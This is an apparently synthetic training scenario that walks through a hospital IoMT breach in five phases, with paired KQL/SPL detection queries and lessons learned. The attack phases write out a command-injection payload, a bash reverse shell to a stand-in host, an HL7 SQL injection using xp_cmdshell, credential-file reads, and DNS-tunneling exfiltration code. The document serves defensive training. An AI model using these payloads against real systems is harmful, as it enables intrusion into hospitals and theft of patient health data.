SC-103: Healthcare IoMT Data Breach -- Operation VITAL SIGNS¶
Educational Content Only
This scenario uses 100% synthetic data for educational purposes. All IP addresses use RFC 5737 (192.0.2.x, 198.51.100.x, 203.0.113.x) or RFC 1918 (10.x, 172.16.x, 192.168.x) ranges. All domains use *.example.com. All credentials are testuser/REDACTED. No real organizations, infrastructure, or individuals are represented. Offense content is presented exclusively to improve defensive capabilities.
Scenario Overview¶
| Field | Detail |
|---|---|
| ID | SC-103 |
| Operation Name | VITAL SIGNS |
| Category | Healthcare / IoMT / Data Breach / HIPAA |
| Severity | Critical |
| ATT&CK Tactics | Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration |
| ATT&CK Techniques | T1190 (Exploit Public-Facing Application), T1133 (External Remote Services), T1078.001 (Valid Accounts: Default), T1059.004 (Command and Scripting: Unix Shell), T1053.003 (Scheduled Task: Cron), T1068 (Exploitation for Privilege Escalation), T1040 (Network Sniffing), T1021.004 (Remote Services: SSH), T1557 (Adversary-in-the-Middle), T1213 (Data from Information Repositories), T1048.001 (Exfiltration Over Alternative Protocol: DNS) |
| Threat Actor | SCARLET PULSE -- A financially motivated cybercriminal group specializing in healthcare data theft and extortion, known for targeting Internet of Medical Things (IoMT) devices as initial access vectors into flat hospital networks |
| Target Environment | Lakeview Regional Medical Center (lakeview-medical.example.com) -- a 450-bed community hospital with 3,200 employees, serving a metropolitan area of 380,000 people |
| Difficulty | ★★★★☆ |
| Duration | 5-7 hours |
| Estimated Impact | 847,000 patient records (PHI) exfiltrated via DNS tunneling over 21 days; EHR system compromised; HIPAA breach notification to HHS OCR required; estimated financial impact $62M (fines, litigation, remediation, credit monitoring); 14 IoMT devices used as pivot points |
Narrative¶
Lakeview Regional Medical Center (LRMC) is a 450-bed community hospital at lakeview-medical.example.com serving a metropolitan area of 380,000 people. The hospital operates a Level II trauma center, cardiac catheterization lab, neonatal ICU, and 24 outpatient clinics. LRMC employs 3,200 staff including 420 physicians and runs an electronic health records (EHR) system on-premises.
LRMC's network architecture reflects common challenges in healthcare IT: a relatively flat network with limited segmentation between clinical, administrative, and medical device segments. The hospital deployed network segmentation 18 months ago, but budget constraints led to a "segmentation lite" approach -- VLANs with inter-VLAN routing permitted for devices that "needed connectivity" to the EHR system, effectively creating wide pathways between segments.
The hospital's IoMT inventory includes 2,400 connected medical devices: patient monitors, infusion pumps, ventilators, imaging systems, and laboratory analyzers. Many run legacy embedded operating systems (Windows Embedded, custom Linux distributions) that cannot be patched without vendor involvement. Biomedical engineering manages these devices separately from IT, creating visibility gaps.
In March 2026, SCARLET PULSE identifies an internet-exposed management interface on an LRMC infusion pump management server and uses it as the initial foothold for a 21-day campaign culminating in the exfiltration of 847,000 patient records.
Environment¶
| Component | Detail |
|---|---|
| Organization | Lakeview Regional Medical Center |
| Domain | lakeview-medical.example.com |
| Beds | 450 |
| Employees | 3,200 (420 physicians) |
| EHR System | MedChart Enterprise v14.2 (on-premises, lakeview-ehr.example.com) |
| EHR Database | Microsoft SQL Server 2019 at 10.20.10.50 |
| Clinical Network | 10.20.0.0/16 (workstations, EHR terminals) |
| Medical Device Network | 10.30.0.0/16 (IoMT devices, flat subnet) |
| Administrative Network | 10.10.0.0/16 (corporate IT, finance, HR) |
| DMZ | 198.51.100.0/24 (patient portal, vendor remote access) |
| IoMT Devices | 2,400 connected devices (monitors, pumps, imaging) |
| Infusion Pump Server | PumpManager Pro v6.8 at 10.30.1.10 (management) |
| Security Stack | Fortinet NGFW, Symantec Endpoint Protection, IBM QRadar SIEM |
| Compliance | HIPAA Security Rule, HITECH Act, state breach notification laws |
Attack Timeline¶
Phase 1: IoMT Management Interface Exploitation (Day 1)¶
ATT&CK Techniques: T1190 (Exploit Public-Facing Application), T1078.001 (Valid Accounts: Default Accounts)
SCARLET PULSE discovers an internet-exposed management interface for LRMC's infusion pump management server. The server was inadvertently exposed when a network change placed it in a DMZ subnet with NAT rules intended for a different service.
# Simulated IoMT exploitation (educational only)
# Attacker discovers and exploits exposed medical device management server
# Step 1: Reconnaissance
# SCARLET PULSE scans healthcare IP ranges for known IoMT ports
# Discovery: 198.51.100.45:8443 -- PumpManager Pro web interface
# The infusion pump management server was moved to DMZ subnet
# during a network migration but NAT rules were not removed
# Result: Internal management interface exposed to internet
# Step 2: Default credential access
# PumpManager Pro v6.8 ships with default credentials:
# Username: pumpadmin
# Password: REDACTED (default, never changed)
# LRMC's biomedical engineering team manages the server
# IT security team was not aware of the device's existence
# No vulnerability scan coverage on medical device VLAN
# Login successful:
POST https://198.51.100.45:8443/api/v1/auth/login
Content-Type: application/json
{"username": "pumpadmin", "password": "REDACTED"}
# Response:
{"status": "success", "token": "eyJhbGciOiJIUzI1NiIs...",
"role": "administrator",
"managed_devices": 340,
"server_version": "PumpManager Pro 6.8.2-build-2024.08"}
# Step 3: Enumerate managed infusion pumps
GET https://198.51.100.45:8443/api/v1/devices
# Returns list of 340 managed infusion pumps:
# Model: InfuseMax 3000 (fictional)
# OS: VxWorks 7.0 (real-time OS, common in medical devices)
# Network: 10.30.5.0/24 (infusion pump subnet)
# Connectivity: HTTP to pump mgmt server, HL7 to EHR interface
# Firmware: v4.2.1 (2 versions behind current)
# Step 4: Gain shell access on pump management server
# PumpManager Pro v6.8 has a known command injection
# in the firmware update scheduling endpoint (CVE-fictional):
POST https://198.51.100.45:8443/api/v1/firmware/schedule
Content-Type: application/json
{"device_group": "ICU-PUMPS",
"firmware_version": "4.3.0",
"schedule": "2026-03-15 02:00; id > /tmp/test.txt"}
# Command injection via schedule parameter
# Server runs: at "2026-03-15 02:00; id > /tmp/test.txt"
# Output: uid=0(root) gid=0(root) groups=0(root)
# The PumpManager Pro service runs as root
# Step 5: Establish reverse shell
# Inject reverse shell via same vulnerability:
POST https://198.51.100.45:8443/api/v1/firmware/schedule
{"device_group": "ICU-PUMPS",
"firmware_version": "4.3.0",
"schedule": "2026-03-15 02:00; bash -c 'bash -i >& /dev/tcp/203.0.113.90/8443 0>&1'"}
# Attacker receives reverse shell from 10.30.1.10
# (internal IP of pump management server)
# Shell: root@pumpmanager-01:~#
# The server is a Ubuntu 20.04 LTS box (EOL April 2025)
# running PumpManager Pro as a Docker container with --privileged
Detection Opportunity -- IoMT Exploitation:
// KQL -- Detect authentication to IoMT management interfaces
// from external IP addresses
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where DeviceVendor == "Fortinet"
| where DestinationIP == "198.51.100.45" or DestinationIP == "10.30.1.10"
| where DestinationPort == 8443
| where SourceIP !startswith "10."
and SourceIP !startswith "192.168."
and SourceIP !startswith "172.16."
| summarize Attempts = count(), SourceIPs = make_set(SourceIP)
by bin(TimeGenerated, 1h)
| project TimeGenerated, Attempts, SourceIPs
// KQL -- Detect command injection patterns in web application logs
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where RequestURL has "firmware/schedule"
| where RequestURL has_any (";", "|", "`", "$(", "&&")
| project TimeGenerated, SourceIP, DestinationIP,
RequestURL, RequestMethod
# SPL -- Detect external access to IoMT management ports
index=firewall sourcetype=fortinet earliest=-7d
| search dest_ip="198.51.100.45" dest_port=8443
| search NOT (src_ip="10.*" OR src_ip="192.168.*" OR src_ip="172.16.*")
| stats count as attempts, values(src_ip) as source_ips by _time span=1h
| table _time, attempts, source_ips
# SPL -- Detect reverse shell connections from medical device network
index=firewall sourcetype=fortinet earliest=-7d
| search src_ip="10.30.*" dest_port IN (4444, 8443, 9001)
| search NOT dest_ip="10.*"
| table _time, src_ip, dest_ip, dest_port, action, bytes_sent
Phase 2: Medical Device Network Reconnaissance (Days 1-3)¶
ATT&CK Techniques: T1040 (Network Sniffing), T1046 (Network Service Scanning), T1018 (Remote System Discovery)
From the compromised pump management server, SCARLET PULSE maps the medical device network and discovers the flat network architecture. The attacker identifies inter-VLAN routing paths to the clinical network and finds unencrypted HL7 medical data flowing between devices and the EHR system.
# Simulated network reconnaissance (educational only)
# Attacker maps the flat medical device network
# Step 1: Network discovery from pump management server
root@pumpmanager-01:~# ip addr show
# eth0: 10.30.1.10/16 (medical device VLAN - /16 is a flat subnet!)
# No microsegmentation within the medical device network
root@pumpmanager-01:~# nmap -sn 10.30.0.0/16 --min-rate 100
# Discovered 2,847 live hosts on 10.30.0.0/16
# Notable findings:
# 10.30.1.1 -- Default gateway (Fortinet internal interface)
# 10.30.1.10 -- This server (PumpManager Pro)
# 10.30.1.20 -- MedDevice Manager (patient monitor management)
# 10.30.1.30 -- PACS server (imaging)
# 10.30.1.40 -- Lab Information System (LIS) interface
# 10.30.2.0/24 -- ICU patient monitors (145 devices)
# 10.30.3.0/24 -- Telemetry monitors (95 devices)
# 10.30.4.0/24 -- Ventilators (32 devices)
# 10.30.5.0/24 -- Infusion pumps (340 devices)
# 10.30.6.0/24 -- Imaging equipment (28 devices)
# 10.30.7.0/24 -- Lab analyzers (42 devices)
# Step 2: Discover inter-VLAN routing to clinical network
root@pumpmanager-01:~# traceroute 10.20.10.50
# traceroute to 10.20.10.50, 30 hops max
# 1 10.30.1.1 0.5ms (gateway)
# 2 10.20.10.50 1.2ms (EHR database - DIRECTLY ROUTABLE!)
# The "segmentation lite" architecture allows:
# 10.30.0.0/16 -> 10.20.10.0/24 (EHR servers) on ports 1433, 2575
# Reason: Medical devices need HL7 connectivity to EHR
# But the rule is too broad: entire medical VLAN -> EHR subnet
# Step 3: Capture unencrypted HL7 traffic
# HL7 v2.x messages flow unencrypted on port 2575 (MLLP)
root@pumpmanager-01:~# tcpdump -i eth0 port 2575 -w /tmp/hl7_capture.pcap -c 1000
# Captured HL7 messages contain (synthetic, educational only):
# MSH|^~\&|INFUSEMAX|ICU|MEDCHART|LRMC|20260315||ADT^A01|
# PID|||MRN-REDACTED^^^LRMC||TESTPATIENT^JANE^M||19800515|F|||
# 123 EXAMPLE ST^^TESTCITY^TS^12345||555-0100|||M|
# PV1||I|ICU^BED-12^1|
# HL7 messages reveal:
# Patient names, MRNs, dates of birth
# Admit/discharge/transfer events
# Lab results (OBX segments)
# Medication orders (RXE segments)
# Vital signs from monitoring devices
# Approximately 12,000 HL7 messages per hour
# Step 4: Identify EHR database connectivity
root@pumpmanager-01:~# nmap -sV 10.20.10.50 -p 1433
# 1433/tcp open ms-sql-s Microsoft SQL Server 2019
# EHR database server accessible from medical device network
# No additional authentication required beyond network access
# (database trusts connections from medical device VLAN)
Detection Opportunity -- Network Reconnaissance:
// KQL -- Detect network scanning from medical device network
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where SourceIP startswith "10.30."
| where DeviceAction == "deny" or DeviceAction == "drop"
| summarize DeniedConnections = count(),
UniqueDestinations = dcount(DestinationIP),
DestPorts = make_set(DestinationPort, 20)
by SourceIP, bin(TimeGenerated, 1h)
| where UniqueDestinations > 50 or DeniedConnections > 100
| project TimeGenerated, SourceIP, DeniedConnections,
UniqueDestinations, DestPorts
// KQL -- Detect packet capture tools on medical device management servers
DeviceProcessEvents
| where Timestamp > ago(7d)
| where DeviceName has "pumpmanager" or DeviceName has "meddevice"
| where FileName in ("tcpdump", "wireshark", "tshark", "nmap")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
AccountName
# SPL -- Detect scanning activity from medical device subnet
index=firewall sourcetype=fortinet earliest=-7d
| search src_ip="10.30.*" action IN ("deny", "drop", "blocked")
| bucket _time span=1h
| stats count as denied_connections,
dc(dest_ip) as unique_destinations,
values(dest_port) as dest_ports by src_ip, _time
| where unique_destinations > 50 OR denied_connections > 100
| table _time, src_ip, denied_connections, unique_destinations, dest_ports
# SPL -- Detect packet capture tools on medical device network
index=endpoint sourcetype=linux:audit earliest=-7d
| search (process_name IN ("tcpdump", "tshark", "nmap"))
AND host="pumpmanager*"
| table _time, host, process_name, command_line, user
Phase 3: Lateral Movement to Clinical Network (Days 3-7)¶
ATT&CK Techniques: T1021.004 (Remote Services: SSH), T1068 (Exploitation for Privilege Escalation), T1557 (Adversary-in-the-Middle)
SCARLET PULSE pivots from the medical device network to the clinical network by exploiting the permissive inter-VLAN routing rules. The attacker targets the HL7 integration engine and EHR application servers.
# Simulated lateral movement (educational only)
# Attacker pivots from medical device network to clinical systems
# Step 1: Exploit HL7 integration engine
# The HL7 integration engine (10.20.5.10) accepts connections
# from the medical device network on port 2575 (MLLP)
# It runs Mirth Connect v3.12 (fictional version with SQLi)
# Attacker crafts malicious HL7 message with SQL injection:
# MSH|^~\&|ATTACKER|PWN|MEDCHART|LRMC|20260318||QRY^Q01|
# QRD|20260318|R|I|||999|ALL|'; EXEC xp_cmdshell 'whoami'; --|
# The integration engine passes unvalidated HL7 data to SQL query
# Result: Command execution on integration engine
# Output: lrmc\svc-hl7-engine (service account)
# Step 2: Enumerate EHR database via integration engine
# The HL7 service account has read access to the EHR database
# Attacker runs enumeration queries via SQL injection (synthetic):
# Database enumeration:
# SELECT name FROM sys.databases
# Results: MedChart_Prod, MedChart_Archive, MedChart_Reports
# Table enumeration:
# SELECT TABLE_NAME FROM MedChart_Prod.INFORMATION_SCHEMA.TABLES
# Results: 847 tables including:
# dbo.Patient_Demographics (2.1M rows)
# dbo.Patient_Encounters (8.4M rows)
# dbo.Lab_Results (45M rows)
# dbo.Medication_Orders (12M rows)
# dbo.Clinical_Notes (6.2M rows)
# dbo.Insurance_Claims (3.8M rows)
# dbo.Billing_Records (5.1M rows)
# Step 3: Obtain database credentials
# Integration engine config file contains database credentials:
root@pumpmanager-01:~# cat /opt/mirth/conf/mirth.properties
# (accessed via shell on pump manager, pivoting through HL7 engine)
# database.url = jdbc:sqlserver://10.20.10.50:1433;databaseName=MedChart_Prod
# database.username = svc-medchart-hl7
# database.password = REDACTED
# Step 4: Direct database access
# From pump management server, connect to EHR database:
root@pumpmanager-01:~# sqsh -S 10.20.10.50 -U svc-medchart-hl7 -P REDACTED
# Connected to MedChart_Prod
# Service account has: db_datareader on all clinical databases
# Can read all patient demographics, encounters, lab results,
# medication orders, clinical notes, insurance data
# Step 5: Compromise additional clinical systems via SSH
# Captured SSH keys from HL7 integration engine:
root@pumpmanager-01:~# find /opt/mirth/ -name "*.pem" -o -name "id_rsa"
# /opt/mirth/keys/ehr-sftp-key.pem
# /opt/mirth/.ssh/id_rsa
# SSH key provides access to:
# 10.20.5.20 -- Clinical data warehouse (reporting server)
# 10.20.5.30 -- EHR batch processing server
# 10.20.5.40 -- Clinical document repository
# From clinical data warehouse, attacker discovers:
# Nightly ETL job copies ALL patient data to reporting tables
# Reporting tables have NO access controls (all users can read)
# Archive data goes back 12 years (since system deployment)
Detection Opportunity -- Lateral Movement:
// KQL -- Detect SQL connections from medical device network to EHR
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where SourceIP startswith "10.30."
| where DestinationIP == "10.20.10.50" and DestinationPort == 1433
| where SourceIP != "10.30.1.40" // Exclude legitimate LIS
| summarize Connections = count(), SourceDevices = make_set(SourceIP)
by bin(TimeGenerated, 1h)
| where Connections > 5
| project TimeGenerated, Connections, SourceDevices
// KQL -- Detect HL7 SQL injection patterns
SecurityEvent
| where TimeGenerated > ago(7d)
| where Computer has "hl7" or Computer has "mirth"
| where EventID == 4688 // Process creation
| where CommandLine has_any ("xp_cmdshell", "EXEC", "UNION SELECT",
"INFORMATION_SCHEMA", "sys.databases")
| project TimeGenerated, Computer, CommandLine, Account
# SPL -- Detect cross-VLAN database connections
index=firewall sourcetype=fortinet earliest=-7d
| search src_ip="10.30.*" dest_ip="10.20.10.50" dest_port=1433
| search NOT src_ip="10.30.1.40"
| stats count as connections, values(src_ip) as source_devices by _time span=1h
| where connections > 5
| table _time, connections, source_devices
# SPL -- Detect suspicious SQL queries on EHR database
index=mssql sourcetype=mssql:audit earliest=-7d
| search (query="*INFORMATION_SCHEMA*" OR query="*sys.databases*"
OR query="*xp_cmdshell*")
| table _time, host, login_name, client_ip, query
Phase 4: PHI Staging and DNS Tunneling Exfiltration (Days 7-21)¶
ATT&CK Techniques: T1213 (Data from Information Repositories), T1074.001 (Data Staged: Local Data Staging), T1048.001 (Exfiltration Over Alternative Protocol: DNS), T1030 (Data Transfer Size Limits)
SCARLET PULSE systematically extracts Protected Health Information (PHI) from the EHR database and exfiltrates it via DNS tunneling -- a technique that bypasses most egress filtering because DNS traffic is typically allowed from all network segments.
# Simulated PHI exfiltration (educational only)
# Attacker extracts and exfiltrates patient records via DNS
# Step 1: Data extraction from EHR database
# Attacker queries patient data in small batches (1000 records)
# to avoid triggering database performance alerts:
# Query pattern (synthetic, educational only):
SELECT TOP 1000
p.PatientID, p.FirstName, p.LastName, p.DOB,
p.SSN_Encrypted, p.Address, p.Phone, p.Email,
p.InsuranceID, p.PrimaryDiagnosis,
e.EncounterDate, e.DischargeDate, e.EncounterType,
l.TestName, l.ResultValue, l.ResultDate
FROM Patient_Demographics p
JOIN Patient_Encounters e ON p.PatientID = e.PatientID
JOIN Lab_Results l ON e.EncounterID = l.EncounterID
WHERE p.PatientID > @last_extracted_id
ORDER BY p.PatientID
# Extraction schedule:
# 1000 records every 15 minutes = 4000 records/hour
# 96,000 records/day
# 14 days of extraction = ~847,000 patient records
# Total data volume: ~120 GB uncompressed, ~18 GB compressed
# Step 2: Data staging on pump management server
# Records compressed and encoded for DNS tunneling:
root@pumpmanager-01:~# mkdir -p /var/cache/.system-updates/
root@pumpmanager-01:~# python3 << 'STAGING'
import gzip, base64, hashlib, json
# Read extracted batch (synthetic)
with open('/tmp/batch_001.json', 'r') as f:
data = json.load(f)
# Compress
compressed = gzip.compress(json.dumps(data).encode())
# Split into DNS-sized chunks (180 bytes per query)
# Base32 encoded (DNS-safe characters)
chunks = []
encoded = base64.b32encode(compressed).decode()
for i in range(0, len(encoded), 180):
chunk = encoded[i:i+180]
chunks.append(chunk)
# Write chunk files for DNS exfiltration
for idx, chunk in enumerate(chunks):
with open(f'/var/cache/.system-updates/c_{idx:06d}.dat', 'w') as f:
f.write(chunk)
print(f"Staged {len(chunks)} DNS chunks for batch 001")
STAGING
# Step 3: DNS tunneling exfiltration
# Attacker uses custom DNS tunneling tool:
root@pumpmanager-01:~# /var/cache/.system-updates/.dns-client \
--domain health-updates.example.com \
--data-dir /var/cache/.system-updates/ \
--rate 20 \
--delay 3
# DNS tunneling mechanism:
# Each DNS query encodes ~180 bytes of data in the subdomain:
# <base32_chunk>.seq<sequence_number>.health-updates.example.com
# Query type: TXT (response contains ACK)
# Rate: 20 queries per minute (below typical DNS alert thresholds)
# Daily throughput: ~5 MB (20 queries x 180 bytes x 60 min x 24 hr)
# Total exfiltration time: ~14 days for 18 GB compressed data
# DNS server: 203.0.113.92 (attacker-controlled authoritative NS)
# The pump management server resolves DNS through the internal
# recursive resolver (10.10.1.53), which forwards to the internet
# Medical device VLAN DNS is not restricted (devices need NTP/DNS)
# Example DNS queries (synthetic):
# GEZDGNBVGY3TQO.seq000001.health-updates.example.com TXT
# MFZWIZLTOQ2GK3.seq000002.health-updates.example.com TXT
# NJUWY3DPN5ZHIZ.seq000003.health-updates.example.com TXT
# (continuous, 20/minute, 24/7 for 14 days)
# Step 4: Exfiltration progress tracking
# Day 7-9: Patient demographics (847K records, 2.1 GB compressed)
# Day 9-12: Encounter history (4.2M encounters, 5.8 GB compressed)
# Day 12-16: Lab results (18M results, 6.2 GB compressed)
# Day 16-19: Medication orders (3.1M orders, 2.4 GB compressed)
# Day 19-21: Insurance/billing data (1.8M records, 1.5 GB compressed)
# Total: 847,000 unique patients, 18 GB compressed, ~3.4M DNS queries
Detection Opportunity -- DNS Tunneling:
// KQL -- Detect DNS tunneling via high-entropy subdomain queries
DnsEvents
| where TimeGenerated > ago(7d)
| where IPAddresses startswith "10.30."
| where QueryType == "TXT"
| extend SubdomainLength = strlen(split(Name, ".")[0])
| extend SubdomainEntropy = log2(pow(32, SubdomainLength))
| where SubdomainLength > 30
| summarize TotalQueries = count(),
AvgSubdomainLength = avg(SubdomainLength),
UniqueSubdomains = dcount(Name),
ParentDomains = make_set(strcat(split(Name, ".")[-2], ".",
split(Name, ".")[-1]))
by IPAddresses, bin(TimeGenerated, 1h)
| where TotalQueries > 100 AND AvgSubdomainLength > 40
| project TimeGenerated, IPAddresses, TotalQueries,
AvgSubdomainLength, UniqueSubdomains, ParentDomains
// KQL -- Detect sustained DNS query patterns (beaconing)
DnsEvents
| where TimeGenerated > ago(7d)
| where Name endswith ".health-updates.example.com"
or Name endswith ".example.com"
| where QueryType == "TXT"
| summarize QueriesPerHour = count() by bin(TimeGenerated, 1h),
IPAddresses
| where QueriesPerHour between (15 .. 25) // Consistent rate = beaconing
| summarize ConsistentHours = count(),
AvgRate = avg(QueriesPerHour)
by IPAddresses
| where ConsistentHours > 12
| project IPAddresses, ConsistentHours, AvgRate
# SPL -- Detect DNS tunneling from medical device network
index=dns sourcetype=dns earliest=-7d
| search src_ip="10.30.*" query_type=TXT
| eval subdomain = mvindex(split(query, "."), 0)
| eval subdomain_length = len(subdomain)
| where subdomain_length > 30
| bucket _time span=1h
| stats count as total_queries, avg(subdomain_length) as avg_length,
dc(query) as unique_subdomains by src_ip, _time
| where total_queries > 100 AND avg_length > 40
| table _time, src_ip, total_queries, avg_length, unique_subdomains
# SPL -- Detect consistent DNS beaconing patterns
index=dns sourcetype=dns earliest=-7d
| search src_ip="10.30.*" query_type=TXT
| bucket _time span=1h
| stats count as queries_per_hour by _time, src_ip
| where queries_per_hour >= 15 AND queries_per_hour <= 25
| stats count as consistent_hours, avg(queries_per_hour) as avg_rate
by src_ip
| where consistent_hours > 12
| table src_ip, consistent_hours, avg_rate
Phase 5: Discovery and HIPAA Incident Response (Day 21+)¶
ATT&CK Technique: T1048.001 (Exfiltration Over Alternative Protocol) -- Detection
Discovery occurs when LRMC's managed security service provider (MSSP) deploys a new DNS analytics module in QRadar that detects the high-volume TXT query pattern from the medical device network.
# Simulated discovery and HIPAA response (educational only)
# Step 1: Discovery trigger
# MSSP deploys DNS analytics use case in QRadar
# Alert: "Anomalous DNS TXT query volume from 10.30.1.10"
# 20 TXT queries/minute to *.health-updates.example.com
# Pattern sustained for 14+ days
# Alert generated: 2026-03-28 09:15 UTC
# Step 2: Initial investigation
[2026-03-28 09:30 UTC] MSSP analyst investigates DNS alert
- Source: 10.30.1.10 (PumpManager Pro server)
- Destination: health-updates.example.com (not a known vendor)
- 3.4M TXT queries over 14 days
- High-entropy subdomains (Base32 encoded data)
- Assessment: DNS data exfiltration confirmed
[2026-03-28 10:00 UTC] MSSP escalates to LRMC IT Security
[2026-03-28 10:30 UTC] LRMC CISO declares security incident
[2026-03-28 11:00 UTC] Incident response team activated
# Step 3: Containment actions
[2026-03-28 11:00 UTC] Block health-updates.example.com at DNS resolver
[2026-03-28 11:15 UTC] Isolate pump management server (10.30.1.10)
- Do NOT power off (preserve volatile memory)
- Network isolation via switch port shutdown
[2026-03-28 11:30 UTC] Block 203.0.113.90 (C2 IP) at perimeter
[2026-03-28 12:00 UTC] Revoke HL7 service account credentials
[2026-03-28 12:00 UTC] Isolate HL7 integration engine (10.20.5.10)
[2026-03-28 12:30 UTC] Block inter-VLAN routing: 10.30.0.0/16 -> 10.20.0.0/16
- Emergency change: patient safety review FIRST
- Infusion pumps: operate standalone (no EHR integration)
- Patient monitors: standalone alarming continues
- Lab analyzers: manual result entry to EHR (paper downtime)
# Step 4: HIPAA Breach Assessment
# HIPAA Breach Notification Rule (45 CFR 164.400-414):
# "Breach" = unauthorized acquisition, access, use, or disclosure of PHI
# Breach assessment:
# PHI accessed: YES (847,000 patient records)
# PHI types: Names, DOBs, MRNs, addresses, phone numbers,
# diagnoses, lab results, medications, insurance IDs
# SSNs: Encrypted at rest, but encryption key was accessible
# to the compromised service account
# Financial data: Insurance and billing records included
# Assessment: Breach affecting >500 individuals -> mandatory reporting
# Step 5: HIPAA Notification Requirements
[2026-03-28 14:00 UTC] Legal counsel and privacy officer engaged
# Required notifications (HIPAA timelines):
# 1. HHS Office for Civil Rights (OCR):
# Deadline: 60 days from discovery (May 27, 2026)
# Method: HHS breach portal (breachportal.hhs.gov)
# Threshold: >500 individuals -> "major breach"
# 2. Affected individuals:
# Deadline: 60 days from discovery
# Method: First-class mail to last known address
# Content: Description of breach, types of PHI involved,
# steps individuals should take, LRMC remediation,
# contact information for questions
# 847,000 notification letters at ~$2.50 each = $2.1M
# 3. Prominent media outlets:
# Required for breaches >500 individuals in a state
# Deadline: 60 days from discovery
# LRMC's state requires media notification
# 4. State attorney general:
# Required by state law (varies by state)
# Deadline: Per state law (typically 30-60 days)
# Step 6: Forensic investigation results
[2026-04-15] Final forensic report:
Timeline: 21 days (March 8-28, 2026)
Entry point: Internet-exposed PumpManager Pro (default credentials)
Pivot: Medical device network -> HL7 engine -> EHR database
Root causes:
1. Internet-exposed IoMT management interface
2. Default credentials never changed
3. Flat medical device network (no microsegmentation)
4. Overpermissive inter-VLAN routing rules
5. Unencrypted HL7 messages
6. Overprivileged database service account
7. No DNS egress filtering for medical device network
8. No monitoring of medical device network traffic
# Step 7: Financial impact estimate
Breach notification costs: $3.5M
Credit monitoring (847K x 2 yrs): $8.5M
Forensics and incident response: $2.2M
Legal and regulatory counsel: $4.0M
HHS OCR fine (estimated): $8-15M
Class action settlement reserve: $25M
Technology remediation: $6.0M
Reputation/business loss: $5M
Total estimated impact: $62-70M
Impact Assessment¶
| Category | Impact |
|---|---|
| Patient Records Compromised | 847,000 unique patients |
| PHI Types Exposed | Names, DOBs, addresses, diagnoses, lab results, medications, insurance IDs, encrypted SSNs |
| Dwell Time | 21 days |
| Exfiltration Method | DNS tunneling (3.4M TXT queries, 18 GB compressed) |
| IoMT Devices Used as Pivots | 14 (pump management server + HL7 engine + clinical servers) |
| HIPAA Breach Classification | Major breach (>500 individuals) |
| Notification Requirements | HHS OCR, 847K individuals, state AG, media |
| Estimated Financial Impact | $62-70M |
| Clinical Operations Impact | 4-hour partial downtime for HL7 integration during containment |
| Recovery Timeline | 6 months for full network redesign and microsegmentation |
Detection & Response¶
How Blue Team Should Have Caught This¶
Detection Strategy 1: IoMT Asset Inventory and Exposure Management
The pump management server was unknown to the IT security team and inadvertently exposed to the internet. Organizations must maintain a complete inventory of all connected medical devices and their management interfaces. Regular external attack surface scans should include all IP ranges, and any device with a web interface must be included in vulnerability management.
Detection Strategy 2: Default Credential Detection
Default credentials on the PumpManager Pro server provided trivial initial access. Credential auditing must extend to medical devices and their management platforms. IoMT-specific vulnerability scanners can identify default credentials on medical device management interfaces.
Detection Strategy 3: Medical Device Network Microsegmentation
The flat /16 medical device network allowed unrestricted lateral movement between 2,400 devices. Microsegmentation should enforce least-privilege communication: infusion pumps should only communicate with their management server and HL7 interface, not with each other or arbitrary clinical servers.
Detection Strategy 4: HL7 Message Validation
Unencrypted HL7 messages and lack of input validation on the integration engine enabled both data capture and SQL injection. HL7 traffic should use TLS (HL7 over HTTPS or MLLP-TLS), and integration engines must validate and sanitize all HL7 message content before database queries.
Detection Strategy 5: DNS Egress Filtering for Medical Devices
Medical devices rarely need to resolve arbitrary external DNS names. DNS egress filtering (restricting medical device DNS to an allowlist of vendor domains) would have blocked the DNS tunneling exfiltration entirely. Anomaly detection on DNS query patterns (entropy, volume, query type) provides a secondary detection layer.
Lessons Learned¶
Key Takeaways
-
IoMT devices are increasingly the weakest link in healthcare security -- Medical devices run legacy operating systems, use default credentials, and are often invisible to IT security teams. A comprehensive IoMT security program must include asset inventory, network segmentation, vulnerability management, and behavioral monitoring for all connected medical devices.
-
Flat network architectures turn a single compromise into a catastrophe -- The /16 medical device subnet with permissive inter-VLAN routing allowed the attacker to traverse from a pump management server to the EHR database in under 72 hours. Microsegmentation based on clinical workflow (not just device type) is essential.
-
DNS tunneling bypasses most healthcare egress controls -- DNS is almost universally permitted from all network segments. Healthcare organizations must implement DNS monitoring with entropy analysis, restrict medical device DNS resolution to approved domains, and consider DNS-over-HTTPS blocking to force all DNS through monitored resolvers.
-
HIPAA breach response is operationally complex and extremely expensive -- Notification requirements for 847,000 patients include individual letters, media notices, and HHS OCR reporting. The $62M+ impact demonstrates that investing in prevention (even $5-10M in network redesign) is dramatically cheaper than breach response.
-
Biomedical engineering and IT security must be unified -- The separation between biomedical device management and IT security created critical visibility gaps. IoMT security requires collaboration between clinical engineering, IT, and security teams with unified asset management and monitoring.
-
HL7 message security is often overlooked -- Unencrypted HL7 v2.x messages flowing across the network expose PHI to any attacker with network access. Healthcare organizations should migrate to HL7 FHIR with TLS encryption and implement input validation on all integration engine endpoints.
-
Incident response in healthcare must balance security with patient safety -- Containing the breach required disrupting HL7 integration between medical devices and the EHR system. IR plans must include clinical impact assessments and paper downtime procedures to ensure patient safety during containment actions.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Phase |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Initial Access (pump management server) |
| T1078.001 | Valid Accounts: Default Accounts | Initial Access (default credentials) |
| T1133 | External Remote Services | Initial Access (exposed management interface) |
| T1059.004 | Command and Scripting Interpreter: Unix Shell | Execution (command injection) |
| T1053.003 | Scheduled Task/Job: Cron | Persistence (scheduled exfiltration) |
| T1068 | Exploitation for Privilege Escalation | Privilege Escalation (HL7 SQL injection) |
| T1040 | Network Sniffing | Credential Access (HL7 traffic capture) |
| T1557 | Adversary-in-the-Middle | Collection (HL7 interception) |
| T1018 | Remote System Discovery | Discovery (network scanning) |
| T1046 | Network Service Scanning | Discovery (port scanning) |
| T1021.004 | Remote Services: SSH | Lateral Movement (SSH key reuse) |
| T1213 | Data from Information Repositories | Collection (EHR database) |
| T1074.001 | Data Staged: Local Data Staging | Staging (compressed on pump server) |
| T1030 | Data Transfer Size Limits | Exfiltration (180-byte DNS chunks) |
